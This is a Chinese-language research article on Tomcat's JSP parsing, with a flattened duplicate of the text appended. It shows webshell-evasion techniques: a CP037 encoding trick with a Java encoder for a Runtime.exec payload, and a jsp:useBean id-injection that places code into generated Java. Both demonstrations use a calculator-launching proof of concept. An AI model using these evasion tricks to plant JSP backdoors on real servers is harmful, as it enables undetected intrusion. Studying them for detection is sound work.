jsp解析过程及其trick点
字数 1253 2025-08-20 18:17:41

JSP解析过程及其Trick点深入分析

一、JSP解析过程概述

Tomcat解析JSP的过程主要分为以下几个步骤:

  1. 客户端发送请求到服务器
  2. 服务器接收到请求,并交给Servlet容器处理
  3. Servlet容器解析JSP文件,并将其转换为Java代码
  4. Servlet容器编译Java代码,并生成class文件
  5. Servlet容器加载class文件,并执行其中的代码
  6. 服务器将处理结果返回给客户端

二、JSP解析详细过程

1. JSP文件到Java代码的转换

当请求到来时,Tomcat调用JspServlet进行解析,主要经历以下阶段:

  1. generate java:将JSP转换为Java代码
  2. generate class:将Java代码编译为class文件

在generate java过程中,会对编码进行特殊处理,这是免杀后门可以利用的关键点。

2. 编码探测与处理

Tomcat通过determineSyntaxAndEncoding函数进行编码探测:

// EncodingDetector中调用了ProcessBom来处理流
// 后续赋值到sourceEnc中
if (isXml) {
    return;
}

JspReader jspReader = null;
try {
    jspReader = new JspReader(ctxt, absFileName, sourceEnc, jar, err);
} catch (FileNotFoundException ex) {
    throw new JasperException(ex);
}

Mark startMark = jspReader.mark();
if (!isExternal) {
    jspReader.reset(startMark);
    if (hasJspRoot(jspReader)) {
        if (revert) {
            sourceEnc = "UTF-8";
        }
        isXml = true;
        return;
    } else {
        if (revert && isBomPresent) {
            sourceEnc = "UTF-8";
        }
        isXml = false;
    }
}

if (!isBomPresent) {
    sourceEnc = jspConfigPageEnc;
    if (sourceEnc == null) {
        sourceEnc = getPageEncodingForJspSyntax(jspReader, startMark);
        if (sourceEnc == null) {
            // Default to "ISO-8859-1" per JSP spec
            sourceEnc = "ISO-8859-1";
            isDefaultPageEncoding = true;
        }
    }
}

关键点:

  • 如果是jspx文件(isXml=true),直接返回
  • 对于jsp文件,会进一步处理
  • 如果没有BOM头(!isBomPresent),会从page指令中获取编码

3. JSP和JSPX的不同处理

if (isXml) {
    return;
}
// 后续处理jsp文件

JSPX文件会直接返回,而JSP文件会继续处理。

三、编码特性利用

1. CP037编码利用

CP037编码在读取后会变成<?xm,可以利用这个特性构造闭合标签:

package org.example;

import java.io.IOException;
import java.io.UnsupportedEncodingException;

public class test {
    public static String bytesToHex(byte[] bytes) {
        StringBuilder hexBuilder = new StringBuilder();
        for (byte b : bytes) {
            hexBuilder.append(String.format("%02X", b));
        }
        return hexBuilder.toString();
    }

    public static byte[] GetBytes(String s) throws UnsupportedEncodingException {
        byte[] ibm290s = s.getBytes("cp037");
        return ibm290s;
    }

    public static void main(String[] args) throws IOException {
        byte[] bytes = GetBytes("<?xml><%@page pageEncoding=\"cp037\"%><%Runtime.getRuntime().exec(\"open -a calculator\");%>");
        System.out.println(bytesToHex(bytes));
    }
}

2. 编码适配技巧

由于JSP本身是基于HTML的模板语言,可以利用HTML特性构造特殊编码:

<%@page pageEncoding="utf-8"%>

四、AST生成与校验

1. generate java过程

  1. 预解析Opcode:将import、include、taglib等进行解析
  2. 遍历AST语法树进行校验
  3. 正式解析Opcode:解析标签如<
  4. 再次遍历AST语法树进行校验
  5. 遍历AST语法树生成Java代码

2. 校验机制

AST的实现主要通过generateVisitor实现,使用StringBuilder写入,最后生成Java代码。如果校验不通过,会直接throw error,不会生成.java文件。

五、恶意代码注入技巧

1. useBean标签利用

<jsp:useBean>标签的解析过程:

  1. 拿到每个属性
  2. 通过classLoader寻找class
  3. 反射获取无参构造方法

利用方式:

<jsp:useBean id="a=null;java.lang.Runtime.getRuntime().exec(\"open -a calculator\");/*" class="org.aa.test"/>
<%*/ out.print(1);%>

2. 其他Trick点

  1. 编码不一致绕过:让JSP文件编码和pageencoding不一致
  2. skipspace函数利用:AST树生成过程中会判断是否为ascii<32,可利用此特性绕过

六、防御建议

  1. 严格校验JSP文件内容
  2. 限制上传文件类型
  3. 监控异常编码的JSP文件
  4. 定期更新Tomcat版本
  5. 对JSP文件进行静态分析

七、总结

Tomcat解析JSP的过程涉及编码探测、AST生成和校验等多个环节,每个环节都可能存在可利用的点。理解这些机制不仅有助于安全研究,也能帮助开发者编写更安全的JSP应用。

JSP解析过程及其Trick点深入分析 一、JSP解析过程概述 Tomcat解析JSP的过程主要分为以下几个步骤: 客户端发送请求到服务器 服务器接收到请求,并交给Servlet容器处理 Servlet容器解析JSP文件,并将其转换为Java代码 Servlet容器编译Java代码,并生成class文件 Servlet容器加载class文件,并执行其中的代码 服务器将处理结果返回给客户端 二、JSP解析详细过程 1. JSP文件到Java代码的转换 当请求到来时,Tomcat调用JspServlet进行解析,主要经历以下阶段: generate java :将JSP转换为Java代码 generate class :将Java代码编译为class文件 在generate java过程中,会对编码进行特殊处理,这是免杀后门可以利用的关键点。 2. 编码探测与处理 Tomcat通过 determineSyntaxAndEncoding 函数进行编码探测: 关键点: 如果是jspx文件(isXml=true),直接返回 对于jsp文件,会进一步处理 如果没有BOM头( !isBomPresent),会从page指令中获取编码 3. JSP和JSPX的不同处理 JSPX文件会直接返回,而JSP文件会继续处理。 三、编码特性利用 1. CP037编码利用 CP037编码在读取后会变成 <?xm ,可以利用这个特性构造闭合标签: 2. 编码适配技巧 由于JSP本身是基于HTML的模板语言,可以利用HTML特性构造特殊编码: 四、AST生成与校验 1. generate java过程 预解析Opcode :将import、include、taglib等进行解析 遍历AST语法树进行校验 正式解析Opcode :解析标签如 < 再次遍历AST语法树进行校验 遍历AST语法树生成Java代码 2. 校验机制 AST的实现主要通过 generateVisitor 实现,使用 StringBuilder 写入,最后生成Java代码。如果校验不通过,会直接throw error,不会生成.java文件。 五、恶意代码注入技巧 1. useBean标签利用 <jsp:useBean> 标签的解析过程: 拿到每个属性 通过classLoader寻找class 反射获取无参构造方法 利用方式: 2. 其他Trick点 编码不一致绕过 :让JSP文件编码和pageencoding不一致 skipspace函数利用 :AST树生成过程中会判断是否为ascii <32,可利用此特性绕过 六、防御建议 严格校验JSP文件内容 限制上传文件类型 监控异常编码的JSP文件 定期更新Tomcat版本 对JSP文件进行静态分析 七、总结 Tomcat解析JSP的过程涉及编码探测、AST生成和校验等多个环节,每个环节都可能存在可利用的点。理解这些机制不仅有助于安全研究,也能帮助开发者编写更安全的JSP应用。